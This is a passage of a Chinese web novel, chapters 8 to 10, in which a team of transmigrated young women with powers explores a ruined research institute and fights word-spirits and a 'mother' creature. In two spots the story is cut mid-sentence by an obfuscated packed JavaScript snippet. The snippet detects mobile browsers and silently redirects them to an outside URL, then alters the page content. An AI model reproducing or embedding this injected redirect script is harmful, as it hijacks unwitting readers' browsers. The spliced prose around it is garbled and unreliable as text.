“你没有上过高中,所以我只能这么笼统地和你说,但是我向你保证,这样的发展是绝对没有问题的。”孟书孔很难用三言两语说清楚一个社会的发展历程。 江临歌听懂大部分,直呼孟书孔很厉害,为什么懂这么多? 孟书孔扶额苦叹:“可能是因为……我读书比较久吧。” 唬子背着一个大挎包,里头塞了水和食物,归霞站在唬子的腰上,对江临歌和孟书孔说:“走了,我们不是要去找‘琪’医生的研究所吗?” 孟书孔沿着唬子的尾巴爬到她背上,轮到江临歌,唬子又不给她爬。 江临歌很不理解唬子对叼着她有什么执念。 不过双脚都离地了,她再挣扎也没用吧。 8. 第八章 “琪”医师的手稿中,绘有附近地点的雷达图。几个人赶了几天的路,中途还碰上一次黑雾侵袭。 黑雾在荒蛮之地的发生频率类似于沙漠中的尘暴,根据风向与风力发作。黑雾来临之际,会有一片如墨水的雾气漂浮在半空中,普通人若是吸入,会麻痹神经,犹如某些毒蛇的毒素。 大部分人在黑雾来临时,会向下挖避难所,尽可能不与黑雾接触。如果拥有代步工具,甚至能赶在黑雾来临之前,逃离原地。 轻度的黑雾感染能够自愈,可能会有十多天反应迟钝。一旦侵蚀到中度,对大脑造成不可逆的损伤,就会像最初的平民区那样,一群目光呆滞的患者排排坐在地上,任由人踢或打都毫无反应。 像穴居人被黑雾彻底感染,又得到控制,最后以轻度智障的状态生活的患者少之又少。这也更加体现“琪”医生的医疗水平与她的研究成果的重要性。 研究所位于一片寸草不生的沙地之中,附近时常有一些感染黑雾的诡异生物袭击。这群诡异生物以节肢动物和软体动物为主,极少数为哺乳动物。 她们找到地点时,早已是一副破败不堪的废旧铁楼。入门是一扇早已扭曲的铁板门,中间凹陷下去一块,疑似被路过的巨型生物撞开。 内部空间极大,有为装甲车坦克等专门设计的通道,唬子能够轻松进入。研究院的电力中枢早已被毁,电线电缆,还有一些管道都蒙上一层灰。 她们正考虑是否该进入建筑内部,忽然,归霞的眉头一紧,囔囔:“有人!” 正前方出现几道黑黢黢的人影,甚至站在那儿和唬子一般高。归霞拔剑,飞跃向黑影,竟然穿过那群怪物,落在地上。 不等归霞反应,一道无形的空气弹命中她,擦过她的大腿。她吃痛想要反抗,下一秒,又是无形的钝器击中她的额角,震得她跌倒在地。 江临歌暗道不妙,让唬子松口,把她放下,她顺手扯了一根细长的水管,面朝那群压根触摸不到的黑影。江临歌焦急观察四周,在黑影对她伸出利爪的那一刹,她举起钢管抡向黑影。 不出所料,她的身体又穿过影子。紧接着,一道金黄色的电光自地表而起,麻痹她的动作,萦绕浑身的刺痛让她难以行动。 孟书孔见江临歌中招,猜测极有可能是候选者们的攻击。她将能力聚焦江临歌的周身,希望能够化解电流。 “我劝你最好别使用能力。”一道尖利的刀锋抵在孟书孔的脖子下方。 孟书孔胆战心惊,她竟然没发现自己的身后站着一人。那人动作极快,就像是一阵风一般将孟书孔从唬子背上踹下去。孟书孔甚至都没能看清她的身形。 唬子刚想发出吼叫清场,紧接着她的意识遭人夺舍,扑腾一下晕倒在地上。 归霞回神,发现所有队友都被挟持,不敢贸然出手。在一片巨大的黑影之后,她感知到有四个女性朝她们走来。 为首是是一个穿着棒球服的女孩,扎着高马尾,她拿着刀刃抵在孟书孔的脖子上,拖着人走。 紧接着是一个留着长卷发的女孩,她的刘海上带着一个发卡,穿着修身的上衣与牛仔裤,手里握着一根带钢钉的棍棒。江临歌被她踩在脚下,每当江临歌企图反抗时,金黄色的电流就会灼烧她的全身。 归霞的身后抵着一根冰冷的枪管,女孩声音清亮:“把武器放下。” 那是一个留着短发的女孩,额前的刘海还留了一小撮的白发。她套着一身简单的卫衣与工装裤,用枪管敲了敲归霞的后背。 归霞将宝剑丢在脚下。短发女孩一踩,往外一踢,被另一个女孩用脚拦住。 藏在最里边的是一个齐刘海低扎双马尾的女孩,穿着白色的宽松毛衣配上阔腿裤,她双手向前伸,将所有的注意力集中在巨大的唬子身上。 唬子是她弄晕的。其余三人不约而同想。 归霞的玉佩没有起强烈的反应——上次玉佩闪烁,还是碰到志锋与劳伦娜的时候。 说明这几名年轻的女孩大抵是没有什么恶意。 “你们是来自于哪里的?来到这里的目的是什么?”为首的棒球服女孩开始逼问。 孟书孔被刀抵着,有啥说啥:“我们是‘候选者’之一,来到这个地方是因为我们需要找到一位医生留下的研究成果,研究如何抵御黑雾感染。” 棒球服女孩看了长卷发的发卡女孩一眼,发卡女孩点点头。 “把你们的能力一五一十的全都告诉我们,包括弱点。”发卡女孩用脚把江临歌掀起来,让她仰面朝上。江临歌正想坐起来,电流和棍棒瞬间放倒她。 江临歌瞪了发卡女孩一眼,骂骂咧咧回答:“那个戴眼镜的,能力是通过情绪发掘记忆片段,我的能力是在睡梦中推演未来的可能情景。我俩没有攻击的能力。那只大狗是数值怪,一巴掌能拍死你们。那个瞎子也是,会武功,可惜防御不了子弹。” “你要说弱点,你们把瞎子和狗制服,基本上就足够了。” 发卡女孩看她的表情,还挺气愤的。毕竟江临歌动一下就被电流电一下,应当是几人中最不快活的。 四个女孩交互了一下眼神,问话的又变成挑染的短发女孩。她问归霞:“你不会杀我们的对吧?” 归霞不理解问这句话的用意,诚实回答:“自然不会,贫道崇尚爱与和平。” 挑染短发女孩看了眼发卡女孩,发卡女孩点头示意。 “赵月,放狗醒来。”棒球服女孩对最后方的人说。 赵月是留着双马尾的女孩,她放下双手,唬子的耳朵动了下,随后睁开眼睛。 发卡女孩把江临歌扶起来,用棒子顶了她一下:“你去和你的狗说我们是好人,不要攻击。” 江临歌甩脸色,只能好声好气对唬子说:“唬子,她们是好人,没事的。” 唬子歪头,看了看平安无事的归霞和孟书孔,又看向江临歌笃定的神情。坐下,吐舌头,嗷呜了一句。 气氛到这里,轻松了起来。 棒球服女孩摸着后脑勺,向江临歌等人介绍她们的团队。 “我们是同个寝室的大学生,有一天包车出去玩,被一辆大货车撞了,结果整个寝室都穿越进来。我叫陈枫,能力是通过地面感知附近的生命体,同时第二层能力就是快速移动。”她演示了一下。 陈枫原本站在孟书孔的身后,转瞬化作一团残影,立在江临歌面前。江临歌吓了一跳,差点跌倒,被发卡女孩接住。 “我叫张玉莉,算是团队的法师?”她笑起来时很漂亮,像是一只高傲的狸花猫。 张玉莉的手中凝聚出一道金黄色的闪电,江临歌面露难色。 “我的能力是制造一小块范围内的电流束缚敌人的行动,可惜无论我怎么加大威力,都无法杀死敌人,只能降一档打控制。”张玉莉双手合十,用肢体语言朝江临歌道歉。 “我的第二层能力算得上是心灵感应一类?我能够通过电流判断人是否在说谎,所以刚刚才问你们那些问题。” 江临歌其实也没多生气。她还挺久没遇到同龄人的,看张玉莉的脸她也生气不起来。 短发挑染女孩表情冷酷,自我介绍言简意赅:“我叫李雪芮,能力是隐身,也能够消除自己与同伴遗留的痕迹。同样有第二层能力,能够将选中的武器隐藏,无论是握持类武器,还是抛掷类武器都能隐藏。” 她指了指地上的一块断了握柄的榔头。归霞立刻意识到,她被枪擦伤后,这个榔头就是击中她的钝器。 所有人的目光投向最后的赵月,包括唬子。 赵月是个容易害羞的女孩。她涨红了脸,说:“我是赵月,能力是制造幻象,你们最开始看到的黑影就是我制造的。第二层能力是,假设敌方单位只有一个,我能强制让它进入沉睡状态。” 唬子哼唧一下,没理赵月。 赵月泪汪汪去抓李雪芮的卫衣,问她:“我是被狗子讨厌了吗?” 李雪芮生无可恋:“我怎么知道,你去问狗。” 陈枫的性格爽朗,也是团队的领导人,向新来的朋友说起她们前段时间的经历。 刚穿进来那会儿,她们四个的出生点是在荒原上。是张玉莉在危急时刻使用出放电技能,这才让她们对‘候选者’的身份有了实感。起初她们在荒原上过着吃野生动物的生活,在一望无垠的废土中寻找文明。 她们遇到了诡异世界的第一批人类同胞。一群二十七八岁的青年们,他们自称是“候选者”的后代,有几个人同样拥有特殊能力。不过显然,她们遇到的第一批同胞不是什么好人,那群人将四个女孩当作诱饵,去引诱出荒漠沙虫的母虫,这样能够利用沙虫的活动产生的尘暴抵御即将到来的黑雾。 四个人运气比较好,被沙虫埋土里,等刨出来,黑雾潮已经过去。那群青年却没那么幸运,她们被城邦抛弃了。原来是城邦的高层想要利用她们去当沙虫的诱饵,她们带着一部分资源逃亡,结果碰上初来乍到的四名女生。 结果因为沙虫无差别攻击,她们反而被卷到黑雾潮里,变成一群木讷的空壳。 四个人薅走那群青年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17283714|198387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的资源,有淡水和一部分应急食品,甚至还有近战武器与枪支,经过一番跋涉,这才找到这座废弃的研究院。 她们并不想久留,是没想到刚到没两天,就有客人莅临,只能出来迎接。 “我在刚到这里时,用能力探索过。在这座研究所的深处,拥有一大片无法言状的生命体,因此我们只敢在外围休息。”陈枫说。 这也是她们不打算久留的原因。而当孟书孔告知她们,这里或许藏着治愈黑雾的方法,她们又忽然不想那么快离去。 “如果觉得里边有危险,我的能力可以去探探路。”江临歌了解过信息之后,认为她的能力能够帮得上忙。 几个人都没反驳,应当是一时半会儿也找不到最佳的解法。 江临歌赶路的这几天都没睡好,因为唬子总想叼着她,把她脑浆都摇匀。唬子能够三五天不睡觉,她不能,于是她就这么半睡半醒一路。 总算有一个安稳的地方睡觉,就算梦里被杀,也是她自找的。 等江临歌闭眼再睁眼,她在镜像世界中孤身一人站在研究院的入口。 她照旧捡了一根水管,轻手轻脚地往里走去。整个走廊阴森森的,前身是医学研究院,甚至还能看到一些医疗设备放在房间里。 江临歌走了一段路,看到一间房内摆满书籍,更有一张书桌上堆叠起高高的研究报告。她往里走去,入门,先是两排高高的书架,全是些她不认识的名词。 她好奇凑到最近的书架瞅一眼,一本“尸体变化图鉴”的标题格外显眼。这也是江临歌为数不多能够一眼看懂是什么内容的书籍标题。 江临歌瞟完这一眼,以为没啥事,只听耳边忽然响起风声。江临歌神经一紧,慌忙回头,那本“尸体变化图鉴”竟然凭空飞出,数张有彩图的页面在江临歌面前掠过。直到最后,这书中竟然蹦出一个血淋淋的“尸”字,一口咬住江临歌。 江临歌骤然清醒,她睁开眼,环顾四周,一群同伴包含期待与担忧的眼神望向她。 赵月过来揉了揉江临歌的脸,问:“怎么了?” “我被杀了。”江临歌深呼吸,“被一本书杀了。当我凑近去看一本书时,那本书忽然飞起来,里边的字体变成血淋淋的幽灵,把我咬死。” “会飞是书籍和字体幽灵?”陈枫蹙眉,她看向李雪芮,“难不成,这里真的有鬼?” 李雪芮沉思片刻道:“我更倾向于是某一个能量母体,我们的能力是到这个世界才有的,而这个世界存在和我们有类似能力的生物也有可能。” “再加上这里曾经是研究院,说不准就是有特殊能力类的研究。” 赵月整张脸扭在一起,大脑过载一会儿,说:“所以我们现在就是要去埃及打DIO的星辰远征军,在面对最终BOSS前的所有攻击,全都是替身攻击?” 李雪芮打了个响指:“对你来说这么理解也行。” “不过我们的目标不是打BOSS,是收集资料。” 孟书孔侧身问归霞:“你听得懂赵月在说什么吗?” 归霞点头:“似乎是某一个著名的动漫,可惜我只能听声不能看画面,没能观赏原作。” “临歌临歌,你能再试一次吗?”赵月蹲在江临歌面前,她是圆眼,眼睛还很大,蹲着看人时很像动画片飞天小女警的角色。 眼神太清澈了。江临歌好久没看到如此纯粹的双眼。 “试几次都行,不过我大部分情况都是在梦里被虐杀,别指望我能给你们通关攻略。” 江临歌正要再睡一觉,张玉莉忽然蹲下来,像赵月一样看着她。 “干嘛。”江临歌被盯得浑身不自在。 张玉莉眯眼笑:“我在想你的能力能不能让其他人一起进去预演,你一个人没有攻击手段,一直被杀很辛苦吧。” “不行。”江临歌想都没有回答。 “没研究过?”张玉莉撇嘴。 “没,目前没有什么特殊方法能够让别人进入我的梦境。你要是好奇,以后再慢慢研究。”江临歌侧睡,背朝张玉莉。意思是让张玉莉别烦她。 张玉莉握棍棒的手硬了,她举着棒子问孟书孔和归霞:“她脾气一直都这么讨人厌吗?” “也许吧,我们认识她也不久,确实一直都挺招人嫌的。”孟书孔给出一个中肯的评价。 归霞倒是委婉些:“江小友脾气是差了点,人还是很靠谱的。” “嗷呜嗷呜。”唬子远远的吼了两嗓子。 看来她对江临歌的意见也很大。 9. 第九章 江临歌被杀了七次。 她总结出有关于字灵的一些特点。 一、只针对于特定的字,诸如“尸”“死”“亡”“尽”等等,因而要尽可能避开去阅读这些负面字眼。 二、脑内如果没有马上想象出画面,并不会唤出字灵。但是中国文字是象形文字,很容易根据字形联想,比较难克制。 三、字灵应该有消解的方法,某一次江临歌狂奔而出没被字灵追上,字灵回到屋子里自行消散等待下一次唤醒。 江临歌给出的这些信息已然足够,再让她独自一人探究下去,其余同伴们面子挂不住。 得到“只要逃出来就不会被杀死”的条件,她们就决定动身前往研究所深处。 研究所的墙壁上挂着一块机械钟表,是破败的建筑里唯一还能正常运行的设备。 “江临歌,你这家伙有点东西,五个小时死了七次,还能发现这些有用的信息。”陈枫个性爽朗,讲话直来直去。 李雪芮在给她的枪上子弹,她这人做事一板一眼,只关注当下,细致入微,是陈枫的得力助手。 江临歌看她们摩拳擦掌蓄势待发那股劲儿,哭笑不得。她抬头瞄了一眼钟表,显示现在是七点半。 赵月托着江临歌脑袋,让江临歌靠在她腿上睡觉。江临歌不明所以,困惑问:“你要干什么?” “我看看我的能力能不能进入你的梦,你连睡觉的时候都要在这个世界闯关,那也太可怜了一点。”赵月说着,鼓起一边腮帮子。 江临歌瞥了眼其他人。张玉莉站在那儿和归霞聊天,紧接着她们和陈枫与李雪芮汇合,决定出发。 赵月被抛下了。美其名曰,保护她。 赵月确实是这几个人中最不适合打头阵的人。因此团队成员换成有战斗能力的归霞。 孟书孔紧随其后,虽然她的战斗能力偏弱,但是她能够干涉他人使用能力。如果字灵的力量本质孟书孔也能控制,那她就是团队里的底牌。 何况那些医疗知识,在场也只有孟书孔看得懂。 唬子陪在江临歌和赵月的身边,危机时刻担任保镖的职责。 “你在生气吗?”江临歌问赵月。 赵月眼睛垂下,像是一直落水的小狗。她说:“有一点。” “那你先用你的能力试试看,如果你能干涉我的梦境,或许以后我的梦你们也能进来。”江临歌闭上眼睛,她也希望能梦一个好点的环境。 “这是只有你能做到的。” 赵月不说话了,她伸手捏了捏江临歌的脸,扭头去看唬子,笑了笑。 她用很小声的语调说:“她其实也没那么讨厌人嘛。” 唬子吐舌头,舔了两下爪子。 五个人走在黑漆漆的走廊上,这里常年不通电,越往里越黑。靠着张玉莉的电流铺路,才勉强能够看清前方的道路。 她们不约而同联想到江临歌,佩服她这都能找到路。 照着江临歌的指示,进门是两堆高大的书架,手稿放置在正中央的书桌上。如果想要查看手稿,可以尽可能快地跑进去,不去看房间里的任何文字,只要逃出房间就能翻阅手稿。 陈枫和归霞就成了干这活儿的好手。陈枫的能力有快速移动的技能,归霞……她瞎的。 两个人以迅雷不及掩耳之势,火速将房间内的书桌清空,各自抓着一大捧手稿冲出房间。她们的动作很利索,字灵都没反应过来。 几个人找了个有窗户的拐角,席地而坐,开始翻阅。 李雪芮她读不懂那些医学术语的稿件,这位“琪”医生的医疗日志她倒是能读一读。 “黑雾历,3月25日。姐姐已经完全不能够说话了,她也不记得我。研究院那群老东西说,如果姐姐再这样下去,会被切断所有诊疗资源。” “黑雾历,4月16日。研究所的患者又死了一批,姐姐连正常走路都很困难,只能够坐在那里被人照顾。还好我拿出来研究成果,那群老东西不会切断姐姐的治疗资源。” “黑雾历,4月23日。今天又有一大批感染黑雾的患者被送进来,研究院研发出了新型的刺激脑补的方式。可用这种方式诊疗的患者大多没有智慧,只会像动物一样吼叫。” “黑雾历,5月8日。姐姐被确诊为脑死亡。那群老东西强行给姐姐注入刺激,导致之前的治疗全都前功尽弃。我该放弃吗?” “黑雾历,6月1日。今天研究所死了很多人。我们给他们举办葬礼,明天又会有更多的患者被送进来。” 后来的日志没有了,李雪芮大致能感受到这位“琪”医生的心理变迁。自己在努力研发针对黑雾的治疗方案,为了救自己的姐姐,结果因为研究所的一群领导乱搞,把姐姐弄脑死亡了。后续她连日志都没心情写。 可即便如此,她依然研发出诊疗方案,拯救了很多被黑雾感染的人。 翻到日志的最后一面,字体与手稿的字体完全不同,像是后来才写上去的。歪七扭八,用汉字写着“静心阅卷,勿视紧字”。 “禁字?”李雪芮把日志翻回来,她的瞳孔骤然收缩了一下,接着整个日志翻飞出血淋淋的“放弃”二字。 李雪芮攥紧日志,一个隐身消失在字灵的视野中,不忘朝同伴大喊:“快跑!” 归霞和陈枫发现字灵遭到触发,归霞转身,扛起孟书孔。陈枫则快速抱起张玉莉。 张玉莉朝字灵释放电流,奈何字灵不吃控制,她只能作罢。 字灵逐渐发育出血肉之躯,红黑色的液体遍布全身,人体器官凝聚在笔划各处,活脱脱像是将一个人搅碎塞进汉字的模具之中。 李雪芮行动速度没有归霞和陈枫快,利用隐身的特性改变字灵锁定的位置。 她在将自己充当诱饵,让其他队友能够逃出更多时间。 五个人逃避字灵的躁动牵动在原地待命的两个人。 赵月做到了。她利用能力在江临歌的梦境里搭建一个幻境,让她暂时不用在镜像世界吃土。很可惜,在现实里是幻境,在梦里也是,江临歌触碰不到那些美好的事物。 不过漫画书倒是能直接看,赵月会给她翻面。 江临歌看jojo的奇妙冒险还差最后一段承太郎欧拉迪奥木大的关键时刻,赵月喊醒她。 “为什么要叫我起床,我就差最后一点没看完了!”江临歌吵嚷起来。 赵月比了个噤声的手势,江临歌神情跟着严肃。听声音,她们大概率是被字灵锁定,正处在战斗之中。 “去帮忙吗?”赵月问江临歌。 江临歌反问:“怎么帮?” “你在梦里的时候,看到字灵会自行退去,你认为有什么原因?”赵月一本真经道。 “超出怪物的可攻击范围?”江临歌回道。 赵月道:“在游戏里,怪物返回自己的守护地,有可能是无法再追踪到玩家,因为超出 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李雪芮立刻理解赵月这句话的意思。平常她们四个人,陈枫和张玉莉有时候都不爱听赵月说中二语录,李雪芮爱听,她觉得这时候的赵月是最可爱的。 她庆幸自己没丢掉那张纸,她用能力将那团纸隐藏起来。字灵肉眼可见地静止在原地不动,仿佛一尊雕像。 陈枫和归霞几人折返回来,凑巧撞见李雪芮驯服字灵的那一幕。 “字灵,停止攻击了?”陈枫不可置信说。 李雪芮面色依然沉稳:“是赵月提出的,我把最初召唤出字灵的纸条变得透明,它就静止不动。” 赵月站在走廊的另一处,对伙伴们比了个耶。 “那我们现在要怎么做?”张玉莉挣扎着离开陈枫,不由在内心佩服陈枫的力气真大,扛着她跑一路。 李雪芮把枪掏了出来,方才她一直背在背上。 “点火,烧了这张纸。” 开抢时枪口的温度能达到1000摄氏度,同时也会迸发出火星,能够轻而易举地点燃一张纸。 李雪芮把纸张裹在枪口,朝着地面开了一枪。火光在隐形的纸张上燃烧,仿若一朵在空气中凋零的花瓣。 字灵没有消失。 李雪芮的背后出现两个血红色的庞大的字体——“放弃”。 字灵化作一只硕大的血手,一把抓住李雪芮的身躯,无数写有“放弃”二字的字灵自阴影处飞出,近乎是把人的视野全部遮挡。 赵月是离李雪芮最近的人,她眼睁睁看着李雪芮被碾碎被吞噬,最后化作字灵口中的一团漆黑的粒子消失在这个世界上。 江临歌伸手挡住赵月的双眼。 赵月再度睁开眼,一切回到了她们出发前的状态。陈枫在磨她的匕首,玉莉才挥舞她的棒子,归霞和孟书孔在闲谈,江临歌躺在地上,刚睡醒不久。 唯有李雪芮不见了。 江临歌坐起身,看向墙壁上的钟表。她看向其他伙伴,说:“现在的时间是七点半。” “我们回到了出发前的时间。” “但是李雪芮却已经死了。” 赵月看向江临歌,又看向其他人。她现在甚至有点庆幸,不是只有她被回溯,不是只有她记得李雪芮的存在。 大家都记得李雪芮,可是谁都没法救回她。 10. 第十章 “我想我们应该是被‘母体’选中了,我们所有人都记得刚才的事情,时间却开始倒流。” “就像游戏的回档一样,失败了就会回到起点,但是你的命会少一条。” 陈枫相对来说冷静一点,可她无处安放的手出卖了她。一会儿砸墙,一会儿捂着脑袋痛苦沉思。 江临歌持着幽深的眼神看她们:“那你们还要继续面对母体吗?” “继续。”张玉莉的棒子猛烈地砸向地面,“我们无处可去,却在这场战斗中失去雪芮,反正在外边和在这的结局都是九死一生,我宁愿为雪芮报仇。” 赵月死死攥着自己的衣角,她眼角雾蒙蒙的,好似在哭,更多是在愤怒。 “我如果没让雪芮去偷塔,她是不是就不会死了。”赵月的声音被泪水埋没。 “她会死。”江临歌打断她,“如果不是她死,那就是你、你的朋友,我们在场的任何一个人。” “我们都在找如何打败字灵的方法,这次没有找对,但是下一次我们依然要面对字灵。” “我们必须要找到杀死母体的方法。” 赵月并没有那么脆弱。她喜欢看漫画,她自己都厌烦透了那种伙伴逝世而影响心态的剧情。正如张玉莉所说,她们无处可去,如果在这里失去雪芮,与其在外边面对更加庞大的未知,不如在此找到杀死字灵的方法。 赵月要替李雪芮报仇。 “我想去杀死母体。”陈枫说。 她能够通过能力侦查范围内的生命体。字灵不过是母体身边的一只无名小卒,母体位于研究院的正中心,是这片区域诡秘力量的来源。 归霞和孟书孔静默看完这场冷静的追悼会,面对陈枫的提议,归霞表示:“陈枫小友若是有意,贫道自然愿意赴汤蹈火。” 毕竟这场探索始于她们寻找“琪”医生的手记,害得她们失去挚友。 真正在危机时刻的人是没有太多时间悲伤的。江临歌打算再用梦境去探索一次,目的地不是放有医生手稿的房间,而是母体的所在位置。 研究所的结构是一个环形的研究院,在建筑的正中央,有一块空地。江临歌在梦里绕了一下路,横跨来到中央的空地。 一旦母体的位置被人发现,它的小兵就不再有条不紊地站在原地,而是排山倒海一般涌入中央。 地表钻出黏糊糊的肉块,旋即凝聚出新的身体,有些是人形,而游戏则是四肢着地,或者干脆在地上蠕动的诡异生物。 江临歌逃回建筑内,那群小兵也跟着追进来。于是她去到字灵所在的房间,放出字灵与小兵对峙。 字灵没有智慧。 母体有。 江临歌觉得自己真是犯蠢了,怎么会在一位母亲面前,让她家的老大去打老二,目的是为了把母亲给杀死。 不出意外,江临歌又死了。 “母体在自主防御。”江临歌苏醒后第一句话就是这个。 “我尝试过接近母体,但是在我还没到达中央时,那片空地就会冒出很多小兵阻碍我。” “我将那些小兵引导到字灵面前,本来字灵是没有智慧,只攻击在活动的物体,母体却能够干涉字灵的行为,让字灵攻击我们。” “这个母体比我们想象中难打得多。” 她的探索结果将整个团队推入冰窖。不过江临歌她不会扫别人的兴,起身,在伙伴的注视下进入走廊深处。 孟书孔问她:“你要去哪儿?” 江临歌头也不回道:“我找到杀死字灵的方法了。” 张玉莉和赵月对视一眼,跟在江临歌身后。陈枫和归霞将目光放在孟书孔身上,随后两个人把孟书孔拖走跟上江临歌。 她们这次进去有持无恐,江临歌在她们注视下进去取得医生的手稿,随后翻开日志的最后一页,唤出杀死李雪芮的字灵。 “放弃”二字明晃晃出现在江临歌面前。江临歌随手抽走书桌上早已没了墨水的钢笔,对着手掌用力划过。 她的手心顿时渗透出一小块血渍。江临歌握拳,让血液滴落在那张日志上,盖住“放弃”二字。 字灵本来张牙舞爪要扑上江临歌,忽然停下来。江临歌沾了点血,顺手将日志贴在字灵的胳膊上,一手扶后脑勺三百六十度完美闪避动作耍了个帅。 字灵在她的完美闪避中化作黑色的光粒子,炸开,逐渐消散。 “上一次的战斗失败给了我灵感。如果偷塔的人会死,那不如把已经无用的‘塔’还给字灵。” 赵月一把拥住江临歌,惊羡道:“你身手好敏捷!” “不敏捷就活不下去喽。”江临歌鼻子翘到天上。她侧头时凑巧和张玉莉对视上,硬是要炫耀一嘴:“怎么样,我帅吧。” 张玉莉白她一眼,挖苦:“和我比差一点。” 赵月静默片刻,放开江临歌,跑到陈枫边上。正当她们品尝到胜利果实之际,唬子的嚎叫声穿透而来。 她们立刻警觉,带着手稿以最快的速度返回最初的据点。 唬子遭到血块生物的围攻,母体有感召一般发现自己的孩子没了一个,气急败坏要把她们全都杀了。 那群生物的防御力在唬子的爪子面前不值一提,拍碎后竟然如同水蛭般吸附在唬子的爪子出,逐渐嵌入她的血肉之中。 张玉莉望见这一幕,一道电流自脚底发出,风驰电掣追到唬子的四肢,转瞬将“水蛭”电得发麻,从唬子的皮肉上剥离出。 归霞将赵月和孟书孔抛到唬子的背上,随后江临歌扯了一根管子,领着人往母体那边进攻。 既然母体已经发动攻击,她们就没有退路。 唬子一声吼叫破开研究所的墙壁,许多血块已经凝聚出形态,嘶吼着扑向闯入者。 张玉莉面对浩浩荡荡的血块群,对着地面释放出超大范围的电流,几乎是在几秒钟内束缚住全体小兵。 陈枫和归霞各自持着锐利的刀具,如同两道流光行云流水地劈砍血块生物。 等离得近的小兵被清理完毕,唬子气沉丹田,对着整个院子发出一记震天吼。大批的小兵遭到碾碎成为血浆,犹如一块黄油被铺平在面包片上。 这次攻击直接暴露出BOSS的中心处,那是一个方形的地下通道入口,位于内院的正中心。 入口处有一个巨大的秤砣阻挡,仿佛在告诉别人,这下边压着可怕的东西。 目测那块秤砣少说几吨重,在场也只有唬子推得动。几个迅速转换对策,先冲到中央处,由攻转为守,给唬子留下足够的时间挪开秤砣。 被抹成血浆的小兵并不会消失,反而会因为血浆连结到一起,凝聚出了一个更为庞大的怪物。 江临歌的额角冒出几滴汗,她问归霞:“那个你能打吗?” “让它别乱动,我就能砍!”归霞长剑寒光逼人。 张玉莉替归霞控住巨怪,身上迸发出更为强大的电流,让那巨怪连动一下都勉强。 归霞轻功了得,踩在怪物的身上,不过三两下蹦上头顶。随后以气发刃,一剑破开那巨物,直直将其分成两半。 与此同时,其他的小怪越积越多,逐渐往唬子这边靠拢。唬子急头白脸地去推那块秤砣,才勉勉强强移动半米。 陈枫面对靠近的怪物几下匕首砍翻几个,江临歌再后边补刀,拿水管把那怪物砸稀碎。 陈枫吹口哨:“力气还挺大。” 江临歌把水管扛在肩上:“不大活不下去。” 陈枫咧开嘴,又砍翻几只小兵,嘴里挂着对江临歌的赞赏:“你如果在现实世界,多半有个省队运动员的水平吧?” “动作敏捷、爆发力强、遇到怪物时很冷静,说不准能冲到国家队。” 江临歌如实回答:“这我不太清楚,我家里人并不想让我走体育。我成绩还挺好的,就是穿进来之后没法继续上学。” “那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17283716|198387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可还真是……”陈枫很同情地看了她一眼,“看来这个世界真是毁了你的后半生。” 江临歌不语,一味地补刀。 “最开始我也这么想过,现在觉得只要能活下去就有希望。人总是要和最坏的状态比才能够知足。” 小兵的数量越来越多,近乎到了无法控制的地步。唬子推秤砣的进度还差三分之一,赵月和孟书孔早就下来帮唬子一起推,显然没帮上太大的忙。 小兵越多,新凝聚出来的大型怪物就越多。张玉莉和归霞面对如此多的巨怪应接不暇。 江临歌掌心的伤口渗出血液,那群小兵就像是闻到某种食物的香气,纷纷奔向江临歌。陈枫在她前边替她阻挡,顶多干掉五六个。 正当一大堆血块生物即将靠近之际,金黄色的电流突袭而来,将小兵们定在原地。江临歌一愣,张玉莉一棒子把离她最近的小怪打死。 “你可不准出事,接下来如果遇到危机,还能有个预料。”张玉莉挡在江临歌面前,一棒子打在下一只小怪身上。 江临歌立即反应过来,紧着张玉莉打死其余小怪。 陈枫朝归霞喊:“你快去帮唬子推秤砣,这些怪我来挡!” 陈枫忽然抬手,用匕首将自己的手腕割开。随着鲜血的涌流,大大小小的怪物都看向她,一瞬间她就成为了猎物。 “玉莉,临歌,你们也去帮忙。怪物再多下去我们可就抵挡不住了!” 陈枫挥了挥双手,所有怪物都缓慢往她那边走去。江临歌和张玉莉对视一眼,放下武器跑去推秤砣。归霞落在唬子边上,用气功推物,让秤砣的移动变得轻松不少。 秤砣在齐心协力下彻底离开原位,下方是厚重的钢板制造的门板。赵月还企图将钢板撬开,归霞把人拎走,和唬子站成对角线,唬子高举爪子,归霞运气在掌。二者同时向下攻击,沉闷又磅礴的响声后,钢板硬是被扭曲,露出下方黑黢黢的通道。 “再来!”归霞如此喊。 周围的小兵越发多,却都不往中心靠拢,而是朝着陈枫走去。 陈枫路过的地方已然留下一排猩红的标记,没想到她对自己如此狠,流了近乎十几米的血线。 “陈枫,快回来!”张玉莉朝陈枫喊。 陈枫对几位伙伴笑了笑,流着血液的伤口愈发严重,她头也不回地往更远的地方跑。 “玉莉,我可能不能继续陪你们了!如果你们下去还要被这群血尸追杀,万一遇到新的危险,恐怕我们就凶多吉少了。” 归霞又朝钢板击打一次,钢板扭曲地厉害,向下滑落了一些,却还是卡在通道口。 “赵月,不要哭!你很强大的,我不准你为了救我冲出来。我们还没有强大到能解决所有事情,所以你以后要变得越来越强!” 唬子直接跳到钢板上,利用自身的重力将钢板往通道下压了好几米下去。似乎是卡在某一个缝隙处,钢板又□□着不动。 “江临歌,你很聪明,也很有战斗经验,如果我们在现实世界认识,说不准能够成为很好的朋友。虽然我们才刚认识不久,但我想要拜托你,一定要带着我的其他伙伴活下去!” 